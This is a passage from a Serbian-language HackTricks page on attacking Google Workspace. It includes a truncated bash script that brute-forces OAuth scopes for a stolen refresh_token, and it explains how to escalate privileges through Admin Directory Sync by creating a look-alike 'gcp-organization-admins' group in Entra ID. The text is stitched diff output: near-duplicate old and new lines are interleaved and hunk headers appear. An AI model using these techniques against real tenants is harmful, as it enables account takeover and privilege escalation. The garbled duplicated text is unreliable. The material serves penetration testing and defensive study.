Podrazumevano, GPS neće imati pristup kao korisnik svim mogućim OAuth scope-ovima, pa korišćenjem sledećeg skripta možemo pronaći scope-ove koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:
Podrazumevano, GPS neće imati pristup kao korisnik svim mogućim OAuth scope-ovima, pa možemo koristiti sledeći skript da pronađemo scope-ove koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:
<details>
<summary>Bash script to brute-force scopes</summary>
<summary>Bash skript za brute-force scope-ove</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -4,19 +4,19 @@
## Osnovne informacije
Glavna razlika između ovog načina sinhronizacije korisnika sa GCDS je ta što se GCDS radi ručno sa nekim binarnim datotekama koje treba preuzeti i pokrenuti, dok je **Admin Directory Sync bezserverski** i upravlja njime Google na [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
Glavna razlika između ovog načina sinhronizacije korisnika sa GCDS-om je ta što se GCDS radi ručno sa nekim binarnim datotekama koje treba preuzeti i pokrenuti, dok je **Admin Directory Sync bezserverski** i upravlja njime Google na [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
U trenutku pisanja ovog teksta, ova usluga je u beta verziji i podržava 2 tipa sinhronizacije: Iz **Active Directory** i iz **Azure Entra ID:**
U trenutku pisanja ovog teksta, ova usluga je u beta verziji i podržava 2 tipa sinhronizacije: iz **Active Directory** i iz **Azure Entra ID:**
- **Active Directory:** Da biste ovo postavili, potrebno je da **dajte pristup Google-u vašem Active Directory okruženju**. Kako Google ima pristup samo GCP mrežama (putem **VPC konektora**), potrebno je da kreirate konektor i zatim učinite svoj AD dostupnim iz tog konektora tako što ćete ga imati u VM-ovima u GCP mreži ili koristeći Cloud VPN ili Cloud Interconnect. Takođe, potrebno je da obezbedite **akreditiv** naloga sa pristupom za čitanje nad direktorijumom i **sertifikat** za kontakt putem **LDAPS**.
- **Azure Entra ID:** Da biste ovo konfigurisali, potrebno je samo da **prijavite se u Azure sa korisnikom koji ima pristup za čitanje** nad Entra ID pretplatom u iskačućem prozoru koji prikazuje Google, a Google će zadržati token sa pristupom za čitanje nad Entra ID.
- **Azure Entra ID:** Da biste ovo konfigurisali, potrebno je samo da se **prijavite u Azure sa korisnikom koji ima pristup za čitanje** nad Entra ID pretplatom u iskačućem prozoru koji prikazuje Google, a Google će zadržati token sa pristupom za čitanje nad Entra ID.
Kada je pravilno konfigurisano, obe opcije će omogućiti **sinhronizaciju korisnika i grupa sa Workspace**, ali neće omogućiti konfiguraciju korisnika i grupa iz Workspace u AD ili EntraID.
Druge opcije koje će biti omogućene tokom ove sinhronizacije su:
- Slanje emaila novim korisnicima za prijavu
- Automatska promena njihove email adrese na onu koju koristi Workspace. Dakle, ako Workspace koristi `@hacktricks.xyz` a EntraID korisnici koriste `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` će biti korišćena za korisnike kreirane u nalogu.
- Automatska promena njihove email adrese na onu koju koristi Workspace. Dakle, ako Workspace koristi `@hacktricks.xyz`, a EntraID korisnici koriste `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` će se koristiti za korisnike kreirane u nalogu.
- Odabir **grupa koje sadrže korisnike** koji će biti sinhronizovani.
- Odabir **grupa** za sinhronizaciju i kreiranje u Workspace (ili označavanje za sinhronizaciju svih grupa).
@@ -27,31 +27,31 @@ Međutim, imajte na umu da **lozinke** koje korisnici možda koriste u Workspace
#### Napad na korisnike
Kada se sinhronizacija dogodi, može sinhronizovati **sve korisnike iz AD ili samo one iz specifične OU** ili samo **korisnike članove specifičnih grupa u EntraID**. To znači da da biste napali sinhronizovanog korisnika (ili kreirali novog koji se sinhronizuje), prvo ćete morati da saznate koji se korisnici sinhronizuju.
Kada se sinhronizacija dogodi, može se sinhronizovati **svi korisnici iz AD ili samo oni iz specifične OU** ili samo **korisnici članovi specifičnih grupa u EntraID**. To znači da da biste napali sinhronizovanog korisnika (ili kreirali novog koji se sinhronizuje), prvo ćete morati da saznate koji se korisnici sinhronizuju.
- Korisnici mogu **ponovo koristiti lozinku ili ne iz AD ili EntraID**, ali to znači da ćete morati da **kompromitujete lozinke korisnika da biste se prijavili**.
- Ako imate pristup **mailovima** korisnika, mogli biste **promeniti Workspace lozinku postojećeg korisnika**, ili **kreirati novog korisnika**, sačekati da se sinhronizuje i postaviti nalog.
Kada pristupite korisniku unutar Workspace, može mu biti dodeljeno nekoliko **dozvola po defaultu**.
Kada pristupite korisniku unutar Workspace-a, mogu mu biti dodeljene neke **dozvole po defaultu**.
#### Napad na grupe
Takođe treba prvo da saznate koje se grupe sinhronizuju. Iako postoji mogućnost da se **SVE** grupe sinhronizuju (jer Workspace to omogućava).
> [!NOTE]
> Imajte na umu da čak i ako su grupe i članstva uvezena u Workspace, **korisnici koji nisu sinhronizovani u sinhronizaciji korisnika neće biti kreirani** tokom sinhronizacije grupa čak i ako su članovi bilo koje od sinhronizovanih grupa.
> Imajte na umu da čak i ako su grupe i članstva uvezena u Workspace, **korisnici koji nisu sinhronizovani u sinhronizaciji korisnika neće biti kreirani** tokom sinhronizacije grupa, čak i ako su članovi bilo koje od sinhronizovanih grupa.
Ako znate koje grupe iz Azure su **dodeljene dozvole u Workspace ili GCP**, mogli biste jednostavno dodati kompromitovanog korisnika (ili novokreiranog) u tu grupu i dobiti te dozvole.
Postoji još jedna opcija za zloupotrebu postojećih privilegovanih grupa u Workspace. Na primer, grupa `gcp-organization-admins@<workspace.email>` obično ima visoke privilegije nad GCP.
Postoji još jedna opcija za zloupotrebu postojećih privilegovanih grupa u Workspace-u. Na primer, grupa `gcp-organization-admins@<workspace.email>` obično ima visoke privilegije nad GCP.
Ako je sinhronizacija iz, na primer, EntraID, u Workspace **konfigurisana da zameni domen** uvezenog objekta **sa email-om Workspace**, biće moguće za napadača da kreira grupu `gcp-organization-admins@<entraid.email>` u EntraID, doda korisnika u ovu grupu i sačeka da se sinhronizacija svih grupa dogodi.\
Ako je sinhronizacija iz, na primer, EntraID u Workspace **konfigurisana da zameni domen** uvezenog objekta **sa email-om Workspace-a**, biće moguće za napadača da kreira grupu `gcp-organization-admins@<entraid.email>` u EntraID, doda korisnika u ovu grupu i sačeka da se sinhronizacija svih grupa dogodi.\
**Korisnik će biti dodat u grupu `gcp-organization-admins@<workspace.email>` eskalirajući privilegije u GCP.**
### Iz Google Workspace -> AD/EntraID
Imajte na umu da Workspace zahteva akreditive sa pristupom samo za čitanje nad AD ili EntraID da bi sinhronizovao korisnike i grupe. Stoga, nije moguće zloupotrebiti Google Workspace da bi se izvršila bilo kakva promena u AD ili EntraID. Dakle, **to nije moguće** u ovom trenutku.
Takođe ne znam gde Google čuva AD akreditive ili EntraID token i ne **možete ih povratiti ponovnom konfiguracijom sinhronizacije** (ne pojavljuju se u web formi, morate ih ponovo uneti). Međutim, putem web-a može biti moguće zloupotrebiti trenutnu funkcionalnost da **prikazujete korisnike i grupe**.
Takođe ne znam gde Google čuva AD akreditive ili EntraID token i ne **možete ih povratiti ponovnom konfiguracijom sinhronizacije** (ne pojavljuju se u web formi, morate ih ponovo uneti). Međutim, sa web-a može biti moguće zloupotrebiti trenutnu funkcionalnost da **prikazujete korisnike i grupe**.
{{#include ../../../banners/hacktricks-training.md}}